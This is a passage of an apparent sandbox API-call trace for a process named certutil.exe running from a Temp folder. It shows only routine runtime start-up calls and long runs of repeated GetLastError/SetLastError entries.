!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ1\x1fü\x1eÈõ?", lpUsedDefaultChar=0x0) returned 256 [0118.917] GetLastError () returned 0x0 [0118.918] SetLastError (dwErrCode=0x0) [0118.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x3fede8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā") returned 256 [0118.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā", cchSrc=256, lpDestStr=0x3febd8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0118.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x3ff290, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ1\x1fü\x1eÈõ?", lpUsedDefaultChar=0x0) returned 256 [0118.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ff5ec | out: lpSystemTimeAsFileTime=0x3ff5ec*(dwLowDateTime=0x3d651790, dwHighDateTime=0x1d31ac1)) [0118.918] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.918] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.919] GetCurrentThread () returned 0xfffffffe [0118.919] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x3ff5e4, lpExitTime=0x3ff5ec, lpKernelTime=0x3ff5ec, lpUserTime=0x3ff5ec | out: lpCreationTime=0x3ff5e4, lpExitTime=0x3ff5ec, lpKernelTime=0x3ff5ec, lpUserTime=0x3ff5ec) returned 1 [0118.919] RtlInitializeSListHead (in: ListHead=0x73c355d0 | out: ListHead=0x73c355d0) [0118.920] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.920] DisableThreadLibraryCalls (hLibModule=0x75250000) returned 1 [0118.921] DisableThreadLibraryCalls (hLibModule=0x74930000) returned 1 [0118.921] DisableThreadLibraryCalls (hLibModule=0x74830000) returned 1 [0118.922] DisableThreadLibraryCalls (hLibModule=0x73640000) returned 1 [0118.922] DisableThreadLibraryCalls (hLibModule=0x74070000) returned 1 [0118.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ffbb4 | out: lpSystemTimeAsFileTime=0x3ffbb4*(dwLowDateTime=0x3d651790, dwHighDateTime=0x1d31ac1)) [0118.922] GetCurrentProcessId () returned 0x8e8 [0118.922] GetCurrentThreadId () returned 0x8ec [0118.922] GetTickCount () returned 0x249cb [0118.922] QueryPerformanceCounter (in: lpPerformanceCount=0x3ffbac | out: lpPerformanceCount=0x3ffbac*=575488278) returned 1 [0118.922] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.923] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcef12f) returned 0x0 [0118.923] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x73c355f8, nSize=0x104 | out: lpFilename="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\certutil.exe")) returned 0x31 [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.923] SetLastError (dwErrCode=0x0) [0118.923] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.924] SetLastError (dwErrCode=0x0) [0118.924] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.925] GetLastError () returned 0x0 [0118.925] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.926] SetLastError (dwErrCode=0x0) [0118.926] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.927] GetLastError () returned 0x0 [0118.927] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.928] SetLastError (dwErrCode=0x0) [0118.928] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.929] SetLastError (dwErrCode=0x0) [0118.929] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.930] SetLastError (dwErrCode=0x0) [0118.930] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.931] GetLastError () returned 0x0 [0118.931] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.932] SetLastError (dwErrCode=0x0) [0118.932] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.933] GetLastError () returned 0x0 [0118.933] SetLastError (dwErrCode=0x0) [0118.934] GetLastError () returned 0x0 [0118.934] SetLastError (dwErrCode=0x0) 